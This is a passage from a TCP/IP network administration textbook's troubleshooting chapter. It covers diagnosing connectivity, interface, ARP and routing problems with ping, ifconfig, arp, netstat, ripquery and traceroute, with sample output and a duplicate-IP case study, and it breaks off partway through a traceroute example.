  • Keep your users informed. This reduces the number of duplicated trouble reports, and the duplication of effort when several system administrators work on the same problem without knowing others are already working on it. If you're lucky, someone may have seen the problem before and have a helpful suggestion about how to resolve it.

  • Don't speculate about the cause of the problem while talking to the user. Save your speculations for discussions with your networking colleagues. Your speculations may be accepted by the user as gospel, and become rumors. These rumors can cause users to avoid using legitimate network services and may undermine confidence in your network. Users want solutions to their problems; they're not interested in speculative techno-babble.

  • Stick to a few simple troubleshooting tools. For most TCP/IP software problems, the tools discussed in this chapter are sufficient. Just learning how to use a new tool is often more time-consuming than solving the problem with an old familiar tool.

  • Thoroughly test the problem at your end of the network before locating the owner of the remote system to coordinate testing with him. The greatest difficulty of network troubleshooting is that you do not always control the systems at both ends of the network. In many cases, you may not even know who does control the remote system. [1] The more information you have about your end, the simpler the job will be when you have to contact the remote administrator.

    [1] Chapter 13, Internet Information Resources explains how to find out who is responsible for a remote network

  • Don't neglect the obvious. A loose or damaged cable is always a possible problem. Check plugs, connectors, cables, and switches. Small things can cause big problems.

Previous: 10.9 Summary | TCP/IP Network Administration | Next: 11.2 Diagnostic Tools
10.9 Summary | Book Index | 11.2 Diagnostic Tools


[Chapter 11] 11.2 Diagnostic Tools

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.1 Approaching a Problem Chapter 11
Troubleshooting TCP/IP 		Next: 11.3 Testing Basic Connectivity

11.2 Diagnostic Tools

Because most problems have a simple cause, developing a clear idea of the problem often provides the solution. Unfortunately, this is not always true, so in this section we begin to discuss the tools that can help you attack the most intractable problems. Many diagnostic tools are available, ranging from commercial systems with specialized hardware and software that may cost thousands of dollars, to free software that is available from the Internet. Many software tools are provided with your UNIX system. You should also keep some hardware tools handy.

To maintain the network's equipment and wiring you need some simple hand tools. A pair of needle-nose pliers and a few screwdrivers may be sufficient, but you may also need specialized tools. For example, attaching RJ45 connectors to Unshielded Twisted Pair (UTP) cable requires special crimping tools. It is usually easiest to buy a ready-made network maintenance toolkit from your cable vendor.

A full-featured cable tester is also useful. Modern cable testers are small hand-held units with a keypad and LCD display that test both thinnet or UTP cable. Tests are selected from the keyboard and results are displayed on the LCD screen. It is not necessary to interpret the results because the unit does that for you and displays the error condition in a simple text message. For example, a cable test might produce the message "Short at 74 feet." This tells you that the cable is shorted 74 feet away from the tester. What could be simpler? The proper test tools make it easier to locate, and therefore fix, cable problems.

A laptop computer can be a most useful piece of test equipment when properly configured. Install TCP/IP software on the laptop. Take it to the location where the user reports a network problem. Disconnect the Ethernet cable from the back of the user's system and attach it to the laptop. Configure the laptop with an appropriate address for the user's subnet and reboot it. Then ping various systems on the network and attach to one of the user's servers. If everything works, the fault is probably in the user's computer. The user trusts this test because it demonstrates something she does every day. She will have more confidence in the laptop than an unidentifiable piece of test equipment displaying the message "No faults found." If the test fails, the fault is probably in the network equipment or wiring. That's the time to bring out the cable tester.

Another advantage of using a laptop as a piece of test equipment is its inherent versatility. It runs a wide variety of test, diagnostic, and management software. Install UNIX on the laptop and run the software discussed in the rest of this chapter from your desktop or your laptop.

This book emphasizes free or "built-in" software diagnostic tools that run on UNIX systems. The software tools used in this chapter, and many more, are described in RFC 1470, FYI on a Network Management Tool Catalog: Tools for Monitoring and Debugging TCP/IP Internets and Interconnected Devices. A catchy title, and a very useful RFC! The tools listed in that catalog and discussed in this book are:

ifconfig

Provides information about the basic configuration of the interface. It is useful for detecting bad IP addresses, incorrect subnet masks, and improper broadcast addresses. Chapter 6, Configuring the Interface , covers ifconfig in detail. This tool is provided with the UNIX operating system.

arp

Provides information about Ethernet/IP address translation. It can be used to detect systems on the local network that are configured with the wrong IP address. arp is covered in this chapter, and is used in an example in Chapter 2, Delivering the Data. arp is delivered as part of UNIX.

netstat

Provides a variety of information. It is commonly used to display detailed statistics about each network interface, network sockets, and the network routing table. netstat is used repeatedly in this book, most extensively in Chapters 2, 6, and 7. netstat is delivered as part of UNIX.

ping

Indicates whether a remote host can be reached. ping also displays statistics about packet loss and delivery time. ping is discussed in Chapter 1, Overview of TCP/IP and used in Chapter 7. ping also comes as part of UNIX.

nslookup

Provides information about the DNS name service. nslookup is covered in detail in Chapter 8, Configuring DNS Name Service . It comes as part of the BIND software package.

dig

Also provides information about name service, and is similar to nslookup.

ripquery

Provides information about the contents of the RIP update packets being sent or received by your system. It is provided as part of the gated software package, but it does not require that you run gated. It will work with any system running RIP.

traceroute

Prints information about each routing hop that packets take going from your system to a remote system.

snoop

Analyzes the individual packets exchanged between hosts on a network. snoop is a TCP/IP protocol analyzer that examines the contents of packets, including their headers. It is most useful for analyzing protocol problems. tcpdump is a tool similar to snoop that is available via anonymous FTP from the Internet.

This chapter discusses each of these tools, even those covered earlier in the text. We start with ping, which is used in more troubleshooting situations than any other diagnostic tool.

Previous: 11.1 Approaching a Problem | TCP/IP Network Administration | Next: 11.3 Testing Basic Connectivity
11.1 Approaching a Problem | Book Index | 11.3 Testing Basic Connectivity


[Chapter 11] 11.3 Testing Basic Connectivity

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.2 Diagnostic Tools Chapter 11
Troubleshooting TCP/IP 		Next: 11.4 Troubleshooting Network Access

11.3 Testing Basic Connectivity

The ping command tests whether a remote host can be reached from your computer. This simple function is extremely useful for testing the network connection, independent of the application in which the original problem was detected. ping allows you to determine whether further testing should be directed toward the network connection (the lower layers) or the application (the upper layers). If ping shows that packets can travel to the remote system and back, the user's problem is probably in the upper layers. If packets can't make the round trip, lower protocol layers are probably at fault.

Frequently a user reports a network problem by stating that he can't telnet (or ftp, or send email, or whatever) to some remote host. He then immediately qualifies this statement with the announcement that it worked before. In cases like this, where the ability to connect to the remote host is in question, ping is a very useful tool.

Using the hostname provided by the user, ping the remote host. If your ping is successful, have the user ping the host. If the user's ping is also successful, concentrate your further analysis on the specific application that the user is having trouble with. Perhaps the user is attempting to telnet to a host that only provides anonymous ftp. Perhaps the host was down when the user tried his application. Have the user try it again, while you watch or listen to every detail of what he is doing. If he is doing everything right and the application still fails, detailed analysis of the application with snoop and coordination with the remote system administrator may be needed.

If your ping is successful and the user's ping fails, concentrate testing on the user's system configuration, and on those things that are different about the user's path to the remote host, when compared to your path to the remote host.

If your ping fails, or the user's ping fails, pay close attention to any error messages. The error messages displayed by ping are helpful guides for planning further testing. The details of the messages may vary from implementation to implementation, but there are only a few basic types of errors:

Unknown host

The remote host's name cannot be resolved by name service into an IP address. The name servers could be at fault (either your local server or the remote system's server), the name could be incorrect, or something could be wrong with the network between your system and the remote server. If you know the remote host's IP address, try to ping that. If you can reach the host using its IP address, the problem is with name service. Use nslookup or dig to test the local and remote servers, and to check the accuracy of the host name the user gave you.

Network unreachable

The local system does not have a route to the remote system. If the numeric IP address was used on the ping command line, re-enter the ping command using the hostname. This eliminates the possibility that the IP address was entered incorrectly, or that you were given the wrong address. If a routing protocol is being used, make sure it is running and check the routing table with netstat. If RIP is being used, ripquery will check the contents of the RIP updates being received. If a static default route is being used, re-install it. If everything seems fine on the host, check its default gateway for routing problems.

No answer

The remote system did not respond. Most network utilities have some version of this message. Some ping implementations print the message "100% packet loss." telnet prints the message "Connection timed out" and sendmail returns the error "cannot connect." All of these errors mean the same thing. The local system has a route to the remote system, but it receives no response from the remote system to any of the packets it sends.

There are many possible causes of this problem. The remote host may be down. Either the local or the remote host may be configured incorrectly. A gateway or circuit between the local host and the remote host may be down. The remote host may have routing problems. Only additional testing can isolate the cause of the problem. Carefully check the local configuration using netstat and ifconfig. Check the route to the remote system with traceroute. Contact the administrator of the remote system and report the problem.

All of the tools mentioned here will be discussed later in this chapter. However, before leaving ping, let's look more closely at the command and the statistics it displays.

11.3.1 The ping Command

The basic format of the ping command on a Solaris system is: [2]

[2] Check your system's documentation. ping varies slightly from system to system. On Linux, the format shown above would be: ping [-c count] [-s packetsize] host

ping host [packetsize] [count]

host

The hostname or IP address of the remote host being tested. Use the hostname or address provided by the user in the trouble report.

packetsize

Defines the size in bytes of the test packets. This field is required only if the count field is going to be used. Use the default packetsize of 56 bytes.

count

The number of packets to be sent in the test. Use the count field, and set the value low. Otherwise, the ping command may continue to send test packets until you interrupt it, usually by pressing CTRL-C (^C). Sending excessive numbers of test packets is not a good use of network bandwidth and system resources. Usually five packets are sufficient for a test.

To check that ns.uu.net can be reached from almond, we send five 56-byte packets with the following command:

% ping -s ns.uu.net 56 5
PING ns.uu.net: 56 data bytes
64 bytes from ns.uu.net (137.39.1.3): icmp_seq=0. time=32.8 ms
64 bytes from ns.uu.net (137.39.1.3): icmp_seq=1. time=15.3 ms
64 bytes from ns.uu.net (137.39.1.3): icmp_seq=2. time=13.1 ms
64 bytes from ns.uu.net (137.39.1.3): icmp_seq=3. time=32.4 ms
64 bytes from ns.uu.net (137.39.1.3): icmp_seq=4. time=28.1 ms

----ns.uu.net PING Statistics----
5 packets transmitted, 5 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 13.1/24.3/32.8

The -s option is included because almond is a Solaris workstation, and we want packet-by-packet statistics. Without the -s option, Sun's ping command only prints a summary line saying "ns.uu.net is alive." Other ping implementations do not require the -s option; they display the statistics by default.

This test shows an extremely good wide area network link to ns.uu.net with no packet loss and a fast response. The round-trip between peanut and ns.uu.net took an average of only 24.3 milliseconds. A small packet loss, and a round-trip time an order of magnitude higher, would not be abnormal for a connection made across a wide area network. The statistics displayed by the ping command can indicate low-level network problems. The key statistics are:

  • The sequence in which the packets are arriving, as shown by the ICMP sequence number (icmp_seq) displayed for each packet.

  • How long it takes a packet to make the round trip, displayed in milliseconds after the string time=.

  • The percentage of packets lost, displayed in a summary line at the end of the ping output.

If the packet loss is high, the response time is very slow, or packets are arriving out of order, there could be a network hardware problem. If you see these conditions when communicating over great distances on a wide area network, there is nothing to worry about. TCP/IP was designed to deal with unreliable networks, and some wide area networks suffer a lot of packet loss. But if these problems are seen on a local area network, they indicate trouble.

On a local network cable segment, the round-trip time should be near 0, there should be little or no packet loss, and the packets should arrive in order. If these things are not true, there is a problem with the network hardware. On an Ethernet the problem could be improper cable termination, a bad cable segment, or a bad piece of "active" hardware, such as a hub, switch, or transceiver. Check the cable with a cable tester as described earlier. Good hubs and switches often have built-in diagnostic software that can be checked. Cheap hubs and transceivers may require the "brute force" method of disconnecting individual pieces of hardware until the problem goes away.

The results of a simple ping test, even if the ping is successful, can help you direct further testing toward the most likely causes of the problem. But other diagnostic tools are needed to examine the problem more closely and find the underlying cause.

Previous: 11.2 Diagnostic Tools | TCP/IP Network Administration | Next: 11.4 Troubleshooting Network Access
11.2 Diagnostic Tools | Book Index | 11.4 Troubleshooting Network Access


[Chapter 11] 11.4 Troubleshooting Network Access

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.3 Testing Basic Connectivity Chapter 11
Troubleshooting TCP/IP 		Next: 11.5 Checking Routing

11.4 Troubleshooting Network Access

The "no answer" and "cannot connect" errors indicate a problem in the lower layers of the network protocols. If the preliminary tests point to this type of problem, concentrate your testing on routing and on the network interface. Use the ifconfig, netstat, and arp commands to test the Network Access Layer.

11.4.1 Troubleshooting with the ifconfig Command

ifconfig checks the network interface configuration. Use this command to verify the user's configuration if the user's system has been recently configured, or if the user's system cannot reach the remote host while other systems on the same network can.

When ifconfig is entered with an interface name and no other arguments, it displays the current values assigned to that interface. For example, checking interface le0 on a Solaris system gives this report:

% ifconfig le0
le0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu 1500
    inet 172.16.55.105 netmask ffffff00 broadcast 172.16.55.255

The ifconfig command displays two lines of output. The first line of the display shows the interface's name and its characteristics. Check for these characteristics:

UP

The interface is enabled for use. If the interface is "down," have the system's superuser bring the interface "up" with the ifconfig command (e.g., ifconfig le0 up). If the interface won't come up, replace the interface cable and try again. If it still fails, have the interface hardware checked.

RUNNING

This interface is operational. If the interface is not "running," the driver for this interface may not be properly installed. The system administrator should review all of the steps necessary to install this interface, looking for errors or missed steps.

The second line of ifconfig output shows the IP address, the subnet mask (written in hexadecimal), and the broadcast address. Check these three fields to make sure the network interface is properly configured.

Two common interface configuration problems are misconfigured subnet masks and incorrect IP addresses. A bad subnet mask is indicated when the host can reach other hosts on its local subnet and remote hosts on distant networks, but it cannot reach hosts on other local subnets. ifconfig quickly reveals if a bad subnet mask is set.

An incorrectly set IP address can be a subtle problem. If the network part of the address is incorrect, every ping will fail with the "no answer" error. In this case, using ifconfig will reveal the incorrect address. However, if the host part of the address is wrong, the problem can be more difficult to detect. A small system, such as a PC that only connects out to other systems and never accepts incoming connections, can run for a long time with the wrong address without its user noticing the problem. Additionally, the system that suffers the ill effects may not be the one that is misconfigured. It is possible for someone to accidentally use your IP address on his system, and for his mistake to cause your system intermittent communications problems. An example of this problem is discussed later. This type of configuration error cannot be discovered by ifconfig, because the error is on a remote host. The arp command is used for this type of problem.

11.4.2 Troubleshooting with the arp Command

The arp command is used to analyze problems with IP to Ethernet address translation. The arp command has three useful options for troubleshooting:

-a

Display all ARP entries in the table.

-d hostname

Delete an entry from the ARP table.

-s hostname ether-address

Add a new entry to the table.

With these three options you can view the contents of the ARP table, delete a problem entry, and install a corrected entry. The ability to install a corrected entry is useful in "buying time" while you look for the permanent fix.

Use arp if you suspect that incorrect entries are getting into the address resolution table. One clear indication of problems with the ARP table is a report that the "wrong" host responded to some command, like ftp or telnet. Intermittent problems that affect only certain hosts can also indicate that the ARP table has been corrupted. ARP table problems are usually caused by two systems using the same IP address. The problems appear intermittent, because the entry that appears in the table is the address of the host that responded quickest to the last ARP request. Sometimes the "correct" host responds first, and sometimes the "wrong" host responds first.

If you suspect that two systems are using the same IP address, display the address resolution table with the arp -a command. Here's an example from a Solaris system: [3]

[3] The format in which the ARP table is displayed may vary slightly between systems.

% arp -a
Net to Media Table
Device   IP Address               Mask      Flags   Phys Addr
------ -------------------- --------------- ----- ---------------
le0    peanut.nuts.com      255.255.255.255       08:00:20:05:21:33
le0    pecan.nuts.com       255.255.255.255       00:00:0c:e0:80:b1
le0    almond.nuts.com      255.255.255.255  SP   08:00:20:22:fd:51
le0    BASE-ADDRESS.MCAST.NET 240.0.0.0      SM   01:00:5e:00:00:00

It is easiest to verify that the IP and Ethernet address pairs are correct if you have a record of each host's correct Ethernet address. For this reason you should record each host's Ethernet and IP address when it is added to your network. If you have such a record, you'll quickly see if anything is wrong with the table.

If you don't have this type of record, the first three bytes of the Ethernet address can help you to detect a problem. The first three bytes of the address identify the equipment manufacturer. A list of these identifying prefixes is found in the Assigned Numbers RFC, in the section entitled "Ethernet Vendor Address Components." This information is also available at ftp://ftp.isi.edu/in-notes/iana/assignments/ethernet-numbers.

From the vendor prefixes we see that two of the ARP entries displayed in our example are Sun systems (8:0:20). If pecan is also supposed to be a Sun, the 0:0:0c Cisco prefix indicates that a Cisco router has been mistakenly configured with pecan's IP address.

If neither checking a record of correct assignments nor checking the manufacturer prefix helps you identify the source of the errant ARP, try using telnet to connect to the IP address shown in the ARP entry. If the device supports telnet, the login banner might help you identify the incorrectly configured host.

11.4.2.1 ARP problem case study

A user called in asking if the server was down, and reported the following problem. The user's workstation, called cashew, appeared to "lock up" for minutes at a time when certain commands were used, while other commands worked with no problems. The network commands that involved the NIS name server all caused the lock-up problem, but some unrelated commands also caused the problem. The user reported seeing the error message:

NFS getattr failed for server almond: RPC: Timed out

The server almond was providing cashew with NIS and NFS services. The commands that failed on cashew were commands that required NIS service, or that were stored in the centrally maintained /usr/local directory exported from almond. The commands that ran correctly were installed locally on the user's workstation. No one else reported a problem with the server, and we were able to ping cashew from almond and get good responses.

We had the user check the /usr/adm/messages file for recent error messages, and she discovered this:

Mar  6 13:38:23 cashew vmunix: duplicate IP address!!
     sent from ethernet address: 0:0:c0:4:38:1a

This message indicates that the workstation detected another host on the Ethernet responding to its IP address. The "imposter" used the Ethernet address 0:0:c0:4:38:1a in its ARP response. The correct Ethernet address for cashew is 8:0:20:e:12:37.

We checked almond's ARP table and found that it had the incorrect ARP entry for cashew. We deleted the bad cashew entry with the arp -d command, and installed the correct entry with the -s option, as shown below:

# arp -d cashew
cashew (172.16.180.130) deleted
# arp -s cashew 8:0:20:e:12:37

ARP entries received via the ARP protocol are temporary. The values are held in the table for a finite lifetime and are deleted when that lifetime expires. New values are then obtained via the ARP protocol. Therefore, if some remote interfaces change, the local table adjusts and communications continue. Usually this is a good idea, but if someone is using the wrong IP address, that bad address can keep reappearing in the ARP table even if it is deleted. However, manually entered values are permanent; they stay in the table and can only be deleted manually. This allowed us to install a correct entry in the table, without worrying about it being overwritten by a bad address.

This quick fix resolved cashew's immediate problem, but we still needed to find the culprit. We checked the /etc/ethers file to see if we had an entry for Ethernet address 0:0:c0:4:38:1a, but we didn't. From the first three bytes of this address, 0:0:c0, we knew that the device was a Western Digital card. Since our network has only UNIX workstations and PCs, we assumed the Western Digital card was installed in a PC. We also guessed that the problem address was recently installed because the user had never had the problem before. We sent out an urgent announcement to all users asking if anyone had recently installed a new PC, reconfigured a PC, or installed TCP/IP software on a PC. We got one response. When we checked his system, we found out that he had entered the address 172.16.180.130 when he should have entered 172.16.180.138. The address was corrected and the problem did not recur.

Nothing fancy was needed to solve this problem. Once we checked the error messages, we knew what the problem was and how to solve it. Involving the entire network user community allowed us to quickly locate the problem system and to avoid a room-to-room search for the PC. Reluctance to involve users and make them part of the solution is one of the costliest, and most common, mistakes made by network administrators.

11.4.3 Checking the Interface with netstat

If the preliminary tests lead you to suspect that the connection to the local area network is unreliable, the netstat -i command can provide useful information. The example below shows the output from the netstat -i command:

% netstat -i
Name Mtu  Net/Dest Address   Ipkts Ierrs Opkts Oerrs Collis Queue
le0  1500 nuts.com almond    442697  2    633424  2    50679  0
lo0  1536 loopback localhost  53040  0    53040   0    0      0

The line for the loopback interface, lo0, can be ignored. Only the line for the real network interface is significant, and only the last five fields on that line provide significant troubleshooting information.

Let's look at the last field first. There should be no packets queued (Queue) that cannot be transmitted. If the interface is up and running, and the system cannot deliver packets to the network, suspect a bad drop cable or a bad interface. Replace the cable and see if the problem goes away. If it doesn't, call the vendor for interface hardware repairs.

The input errors (Ierrs) and the output errors (Oerrs) should be close to 0. Regardless of how much traffic has passed through this interface, 100 errors in either of these fields is high. High output errors could indicate a saturated local network or a bad physical connection between the host and the network. High input errors could indicate that the network is saturated, the local host is overloaded, or there is a physical network problem. Tools, such as ping statistics or a cable tester, can help you determine if it is a physical network problem. Evaluating the collision rate can help you determine if the local Ethernet is saturated.

A high value in the collision field (Collis) is normal, but if the percentage of output packets that result in a collision is too high, it indicates that the network is saturated. Collision rates greater than 5% bear watching. If high collision rates are seen consistently, and are seen among a broad sampling of systems on the network, you may need to subdivide the network to reduce traffic load.

Collision rates are a percentage of output packets. Don't use the total number of packets sent and received; use the values in the Opkts and Collis fields when determining the collision rate. For example, the output in the netstat sample above shows 50679 collisions out of 633424 outgoing packets. That's a collision rate of 8%. This sample network could be overworked; check the statistics on other hosts on this network. If the other systems also show a high collision rate, consider subdividing this network.

11.4.4 Subdividing an Ethernet

To reduce the collision rate, you must reduce the amount of traffic on the network segment. A simple way to do this is to create multiple segments out of the single segment. Each new segment will have fewer hosts and, therefore, less traffic. We'll see, however, that it's not quite this simple.

The most effective way to subdivide an Ethernet is to install an Ethernet switch. Each port on the switch is essentially a separate Ethernet. So a 16-port switch gives you 16 Ethernets to work with when balancing the load. On most switches the ports can be used in a variety of ways (see Figure 11.1 Lightly used systems can be attached to a hub that is then attached to one of the switch ports to allow the systems to share a single segment. Servers and demanding systems can be given dedicated ports so that they don't need to share a segment with anyone. Additionally, some switches provide a few Fast Ethernet 100 Mbps ports. These are called asymmetric switches because different ports operate at different speeds. Use the Fast Ethernet ports to connect heavily used servers. If you're buying a new switch, buy a 10/100 switch with auto-sensing ports. This allows every port to be used at either 100 Mbps or at 10 Mbps, which give you the maximum configuration flexibility.

Figure 11.1 shows an 8-port 10/100 Ethernet switch. Ports 1 and 2 are wired to Ethernet hubs. A few systems are connected to each hub. When new systems are added they are distributed evenly among the hubs to prevent any one segment from becoming overloaded. Additional hubs can be added to the available switch ports for future expansion. Port 4 attaches a demanding system with its own private segment. Port 6 operates at 100 Mbps and attaches a heavily used server. A port can be reserved for a future 100 Mbps connection to a second 10/100 Ethernet switch for even more expansion.

Figure 11.1: Subdividing an Ethernet with switches

Before allocating the ports on your switch, evaluate what services are in demand, and who talks to whom. Then develop a plan that reduces the amount of traffic flowing over any segment. For example, if the demanding system on Port 4 uses lots of bandwidth because it is constantly talking to one of the systems on Port 1, all of the systems on Port 1 will suffer because of this traffic. The computer that the demanding system communicates with should be moved to one of the vacant ports or to the same port (4) as the demanding system. Use your switch to the greatest advantage by balancing the load.

Should you segment an old coaxial cable Ethernet by cutting the cable and joining it back together through a router or a bridge? No. If you have an old network that is finally reaching saturation, it is time to install a new network built on a more robust technology. A shared media network, a network where everyone is on the same cable (in this example, a coaxial cable Ethernet) is an accident waiting to happen. Design a network that a user cannot bring down by merely disconnecting his system, or even by accidentally cutting a wire in his office. Use Unshielded Twisted Pair (UTP) cable, ideally Category 5 cable, to create a 10BaseT Ethernet or 100BaseT Fast Ethernet that wires equipment located in the user's office to a hub securely stored in a wire closet. The network components in the user's office should be sufficiently isolated from the network so that damage to those components does not damage the entire network. The new network will solve your collision problem and reduce the amount of hardware troubleshooting you are called upon to do.

11.4.4.1 Network hardware problems

Some of the tests discussed in this section can show a network hardware problem. If a hardware problem is indicated, contact the people responsible for the hardware. If the problem appears to be in a leased telephone line, contact the telephone company. If the problem appears to be in a wide area network, contact the management of that network. Don't sit on a problem expecting it to go away. It could easily get worse.

If the problem is in your local area network, you will have to handle it yourself. Some tools, such as the cable tester described above, can help. But frequently the only way to approach a hardware problem is by brute force - disconnecting pieces of hardware until you find the one causing the problem. It is most convenient to do this at the switch or hub. If you identify a device causing the problem, repair or replace it. Remember that the problem can be the cable itself, rather than any particular device.

Previous: 11.3 Testing Basic Connectivity | TCP/IP Network Administration | Next: 11.5 Checking Routing
11.3 Testing Basic Connectivity | Book Index | 11.5 Checking Routing


[Chapter 11] 11.5 Checking Routing

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.4 Troubleshooting Network Access Chapter 11
Troubleshooting TCP/IP 		Next: 11.6 Checking Name Service

11.5 Checking Routing

The "network unreachable" error message clearly indicates a routing problem. If the problem is in the local host's routing table, it is easy to detect and resolve. First, use netstat -nr and grep to see whether or not a valid route to your destination is installed in the routing table. This example checks for a specific route to network 128.8.0.0:

% netstat -nr | grep '128\.8\.0'
128.8.0.0     26.20.0.16     UG     0    37    std0

This same test, run on a system that did not have this route in its routing table, would return no response at all. For example, a user reports that the "network is down" because he cannot ftp to sunsite.unc.edu, and a ping test returns the following results:

% ping -s sunsite.unc.edu 56 2
PING sunsite.unc.edu: 56 data bytes
sendto: Network is unreachable
ping: wrote sunsite.unc.edu 64 chars, ret=-1
sendto: Network is unreachable
ping: wrote sunsite.unc.edu 64 chars, ret=-1

----sunsite.unc.edu PING Statistics----
2 packets transmitted, 0 packets received, 100% packet loss

Based on the "network unreachable" error message, check the user's routing table. In our example, we're looking for a route to sunsite.unc.edu. The IP address [4] of sunsite.unc.edu is 152.2.254.81, which is a class B address. Remember that routes are network-oriented. So we check for a route to network 152.2.0.0:

[4] Use nslookup to find the IP address if you don't know it. nslookup is discussed later in this chapter.

% netstat -nr | grep '152\.2\.0\.0'
%

This test shows that there is no specific route to 152.2.0.0. If a route was found, grep would display it. Since there's no specific route to the destination, remember to look for a default route. This example shows a successful check for a default route:

% netstat -nr | grep def
default       172.16.12.1     UG    0   101277   le0

If netstat shows the correct specific route, or a valid default route, the problem is not in the routing table. In that case, use traceroute, as described later in this chapter, to trace the route all the way to its destination.

If netstat doesn't return the expected route, it's a local routing problem. There are two ways to approach local routing problems, depending on whether the system uses static or dynamic routing. If you're using static routing, install the missing route using the route add command. Remember, most systems that use static routing rely on a default route, so the missing route could be the default route. Make sure that the startup files add the needed route to the table whenever the system reboots. See Chapter 7, Configuring Routing , for details about the route add command.

If you're using dynamic routing, make sure that the routing program is running. For example, the command below makes sure that gated is running:

% ps `cat /etc/gated.pid`
  PID TT STAT  TIME COMMAND
27711 ?  S   304:59 gated -tep /etc/log/gated.log

If the correct routing daemon is not running, restart it and specify tracing. Tracing allows you to check for problems that might be causing the daemon to terminate abnormally.

11.5.1 Checking RIP Updates

If the routing daemon is running and the local system receives routing updates via Routing Information Protocol (RIP), use ripquery to check the updates received from your RIP suppliers. For example, to check the RIP updates being received from almond and pecan, the peanut administrator enters the following command:

% ripquery -1 -n -r almond pecan
44 bytes from almond.nuts.com(172.16.12.1):
    0.0.0.0, metric 3
    10.0.0.0, metric 0
264 bytes from pecan.nuts.com(172.16.12.3):
    172.16.5.0, metric 2
    172.16.3.0, metric 2
        .
        .
        .
    172.16.12.0, metric 2
    172.16.13.0, metric 2

After an initial line identifying the gateway, ripquery shows the contents of the incoming RIP packets, one line per route. The first line of the report above indicates that ripquery received a response from almond. That line is followed by two lines for the two routes advertised by almond. almond advertises the default route (destination 0.0.0.0) with a metric of 3, and its direct route to Milnet (destination 10.0.0.0) with a metric of 0. Next, ripquery shows the routes advertised by pecan. These are the routes to the other nuts-net subnets.

The three ripquery options used in this example are:

-1

Sends the query as a RIP version 1 packet. By default, queries are sent as RIP version 2 packets. Older systems may only support RIP version 1.

-n

Causes ripquery to display all output in numeric form. ripquery attempts to resolve all IP addresses to names if the -n option is not specified. It's a good idea to use the -n option; it produces a cleaner display, and you don't waste time resolving names.

-r

Directs ripquery to use the RIP REQUEST command, instead of the RIP POLL command, to query the RIP supplier. RIP POLL is not universally supported. You are more likely to get a successful response if you specify -r on the ripquery command line.

The routes returned in these updates should be the routes you expect. If they are not, or if no routes are returned, check the configuration of the RIP suppliers. Routing configuration problems cause RIP suppliers to advertise routes that they shouldn't, or to fail to advertise the routes that they should. You can detect these problems only by applying your knowledge of your network configuration. You must know what is right to detect what is wrong. Don't expect to see error messages or strange garbled routes. For example, assume that in the previous test pecan returned the following update:

264 bytes from pecan.nuts.com(172.16.12.3):
    0.0.0.0, metric 2
    172.16.3.0, metric 2
        .
        .
        .
    172.16.12.0, metric 2
    172.16.13.0, metric 2

This update shows that pecan is advertising itself as a default gateway with a lower cost (2 versus 3) than almond. This would cause every host on this subnet to use pecan as its default gateway. If this is not what you wanted, the routing configuration of pecan should be corrected. [5]

[5] Correct routing configuration is discussed in Chapter 7.

11.5.2 Tracing Routes

If the local routing table and RIP suppliers are correct, the problem may be occurring some distance away from the local host. Remote routing problems can cause the "no answer" error message, as well as the "network unreachable" error message. But the "network unreachable" message does not always signify a routing problem. It can mean that the remote network cannot be reached because something is down between the local host and the remote destination. traceroute is the program that can help you locate these problems.

traceroute traces the route of UDP packets from the local host to a remote host. It prints the name (if it can be determined) and IP address of each gateway along the route to the remote host.

traceroute uses two techniques, small ttl (time-to-live) values and an invalid port number, to trace packets to their destination. traceroute sends out UDP packets with small ttl values to detect the intermediate gateways. The ttl values start at 1 and increase in increments of 1 for each group of three UDP packets sent. When a gateway receives a packet, it decrements the ttl. If the ttl is then 0, the packet is not forwarded and an ICMP "Time Exceeded" message is returned to the source of the packet. traceroute displays one line of output for each gateway from which it receives a "Time Exceeded" message. Figure 11.2 shows a sample of the single line of output that is displayed for a gateway, and it shows the meaning of each field in the line.

Figure 11.2: traceroute output

When the destination host receives a packet from traceroute, it returns an ICMP "Unreachable Port" message. This happens because traceroute intentionally uses an invalid port number (33434) to force this error. When traceroute receives the "Unreachable Port" message, it knows that it has reached the destination host, and it terminates the trace. So, traceroute is able to develop a list of the gateways, starting at one hop away and increasing one hop at a time until the remote host is reached. Figure 11.3 illustrates the flow of packets tracing to a host three hops away. The following shows a traceroute to ds.internic.net from a Linux system hanging off BBN PlaNET. traceroute sends out three packets at each ttl value. If no response is received to a packet, traceroute prints an asterisk (*). If a response is received, traceroute displays the name and address of the gateway that responded, and the packet's round-trip time in milliseconds.

Figure 11.3: Flow of traceroute packets

% traceroute ds.internic.net
traceroute to ds.internic.net (198.49.45.10), 30 hops max, 40 byte packets
 1  gw-55.nuts.com (172.16.55.200)  0.95 ms  0.91 ms  0.91 ms
 2  172.16.230.254 (172.16.230.254)  1.51 ms  1.33 ms  1.29 ms
 3  gw225.nuts.com (172.16.2.252)  4.13 ms  1.94 ms  2.20 ms
 4  192.221.253.2 (192.221.253.2)  52.90 ms  81.19 ms  58.09 ms
 5  washdc1-br2.bbnplanet.net (4.0.36.17)  6.5 ms  5.8 ms  5.88 ms
 6  nyc1-br1.bbnplanet.net (4.0.1.114)  13.24 ms  12.71 ms  12.96 ms
 7  nyc1-br2.bbnplanet.net (4.0.1.178)  14.64 ms  13.32 ms  12.21 ms
 8  cambridge1-br1.bbnplanet.net (4.0.2.86)  28.84 ms  27.78 ms  23.56 ms
 9  cambridge1-cr14.bbnplanet.net (199.94.205.14) 19.9 ms  24.7 ms 22.3 ms
10  attbcstoll.bbnplanet.net (206.34.99.38)  34.31 ms  36.63 ms  32.21 ms
11  ds0.internic.net (198.49.45.10)  33.19 ms  33.34 ms *

This trace shows that 10 intermediate gateways are involved, that packets are making the trip, and that round-trip travel time for packets from this host to ds.internic.net is about 33 ms.

Variations and bugs in the implementation of ICMP on different types of gateways, and the unpredictable nature of the path a datagram can take through a network, can cause some odd displays. For this reason, you shouldn't examine the output of traceroute too closely. The most important things in the traceroute output are:

  • Did the packet get to its remote destination?

  • If not, where did it stop?

In the code below we show another trace of the path to ds.internic.net. This time the trace does not go all the way through to the InterNIC.

% traceroute ds.internic.net
traceroute to ds.internic.net (198.49.45.10), 30 hops max,
     40 byte packets
 1  gw-55.nuts.com (172.16.55.200)  0.959 ms  0.917 ms  0.913 ms
